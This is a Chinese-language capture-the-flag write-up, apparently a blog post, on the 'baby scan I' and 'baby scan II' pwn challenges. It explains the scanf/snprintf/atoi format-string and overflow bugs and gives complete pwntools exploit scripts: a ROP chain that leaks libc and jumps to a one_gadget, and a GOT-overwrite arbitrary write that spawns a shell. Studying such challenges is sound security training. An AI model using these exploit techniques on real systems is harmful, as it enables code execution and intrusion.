首页 > 其他分享 >babyscan

babyscan

时间:2022-10-18 06:57:31浏览次数:33  
标签:libc data babyscan got lambda buf size

baby scan I/II

baby scan I:

原题有给源码:

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char size[16], fmt[8], *buf;

  printf("size: ");
  scanf("%15s", size);
  if (!isdigit(*size)) {
    puts("[-] Invalid number");
    return 1;
  }

  buf = (char*)alloca(atoi(size) + 1);

  printf("data: ");
  snprintf(fmt, sizeof(fmt), "%%%ss", size);
  scanf(fmt, buf);

  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  alarm(180);
}

image-20221018010006907.png

ida看大概是这样,其中alloca()函数值得关注。在调用 alloca的函数返回的时候, 它分配的内存会自动释放。也就是说, 用 alloca 分配的内存在栈上。

假如我开头送入的size是0x1000,可以看到此时的rsp与rbp也差了将近0x1000,也就是它几乎是在main函数的栈上即时分配的内存

image-20221018010551685.png

还有一个函数值得关注,snprintf(),函数原型为int snprintf(char *str, size_t size, const char *format, ...)。

将可变个参数(...)按照format格式化成字符串,然后将其复制到str中。

(1) 如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给其后添加一个字符串结束符('\0');

(2) 如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符('\0'),返回值为欲写入的字符串长度。

其中size定为8,format定为"%%ss",具体效果就是把nptr指向的字符串填到%和s中间,比如nptr=“123”,那么最后str里就是%123s,似乎是一个要限制输入的操作。

本题最大的漏洞在于atoi(),该函数在里面的数值超过int最大时,会返回负数,从而实现向栈下面分配内存,进而可以劫持。

还有一种方法是利用atoi()的截断特性,当遇到除数字外的字符时会立刻截断返回,假如我输入"0%%",那么atoi只会返回0。

在此我演示第二种方法的exp,即利用截断特性,将分配的内存尽量压低靠近返回地址,然后再利用snprintf的漏洞向分配内存读入超额的数据。

比如我在size:时送入"0s%99",此时要说明,这个snprintf在缝合好字符串后,会检查字符串的长度,比如我送入"0s%99",他应该会缝合成"%0s%99s",此时为7字节,小于szie的8,将正常变为str格式化字符串;若我送入""0s%991",此时缝合为“%0s%991s”,大于等于8字节,此时将切除最后的s,并替换为'\0',即变为“%0s%991”变成格式化字符串,这时读入可能会错误。

如果我送入的是"0s%99",其实缝合后的第一个%0s就是无限读入,此时就能随意溢出到返回地址进行泄露并布置返回main,然后下一次溢出填onegadget结束。

最开始我送入的是“1s%99”,这个最后缝合是“%1s%99s”,利用的是第二个%s的大量读入,也能成功溢出。

PS: isdigit()这个函数,只要开头是数字就能绕过

以下是EXP:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('65.21.255.31',13370)
binary="./chall"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))


pop_rdi=0x0401433

bp(0x0040134C)

pl='0s%99'#+'l'str(0x1000)
sal('ze: ',pl)



pl1=0x48*'\x64'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401216)#
sal('ta: ',pl1)

puts_addr=u64(p.recvuntil('\x7f',drop=False).ljust(8,'\x00'))
libc_base=puts_addr-libc.sym['puts']
one=[0xe3afe,0xe3b01,0xe3b04]
one=one[1]+libc_base
sal('ze: ',pl)
pl2=0x48*'\x64'+p64(one)
sal('ta: ',pl2)

it()

baby scan II

这题一样有源码

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char size[16], fmt[8], *buf;

  printf("size: ");
  scanf("%15s", size);
  if (!isdigit(*size)) {
    puts("[-] Invalid number");
    exit(1);
  }

  buf = (char*)malloc(atoi(size) + 1);

  printf("data: ");
  snprintf(fmt, sizeof(fmt), "%%%ss", size);
  scanf(fmt, buf);

  exit(0);
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  alarm(180);
}

image-20221018012735258.png

大部分跟第一题一样,但是把alloca()函数改成了malloc()函数,然后最后多了个exit()。

snprintf就不再赘述,效果和第一题一样。这题就得利用scanf的效果和snprintf的神奇拼接了

输入的size数据位于栈上,假如我size输入9$+6*"\x00"+p64(exit_got),可以看到栈上直接就有exit的got

QQ图片20221018013300.png

由于snprintf遇到\x00就截断,我们可以组合利用,因为snprintf的截断,我送入的变成了“%9$s” ,对于scanf来说正好是exit_got所在栈的位置,此时就相当于一个任意地址写,到时候data读入时,就可以随意更改exit_got的内容为其他东西.

于是有思路:修改exit_got为main函数地址,然后修改atoi的got为printf的got(因为atoi的参数是可变的,若atoi变成printf,我们可以在输入时写%9$p这样的来泄露栈上的数据)此时可以泄露libc算出基址,得到onegadget。接着只需要再执行一次任意地址写,将exit_got改为onegadget即可。

PS:注意一次size只能读入15字节,p64()时最好用p64()[:7]来组合前面8字节

EXP:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('65.21.255.31',33710)
binary="./chall"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))

def write_in(addr,content):
    pl='9$'+6*'\x00'+p64(addr)[:7]
    sal('ze: ',pl)

    pl1=p64(content)[:7]
    sal('data: ',pl1)



bp(0x004012CA)
write_in(elf.got['exit'],0x000401256)
write_in(elf.got['atoi'],elf.plt['printf'])

pl='1-%9$p+'
sal('ze: ',pl)
ru('1-')
libc_base=int(p.recvuntil('+',drop=True),16)-116-libc.sym['malloc']
print hex(libc_base)
one=[0xe3afe,0xe3b01,0xe3b04]
one=one[1]+libc_base
print hex(one)


pl1='a'
sal('data: ',pl1)


write_in(elf.got['exit'],one)


it()

标签:libc,data,babyscan,got,lambda,buf,size
From: https://www.cnblogs.com/brain-Z/p/16801266.html

相关文章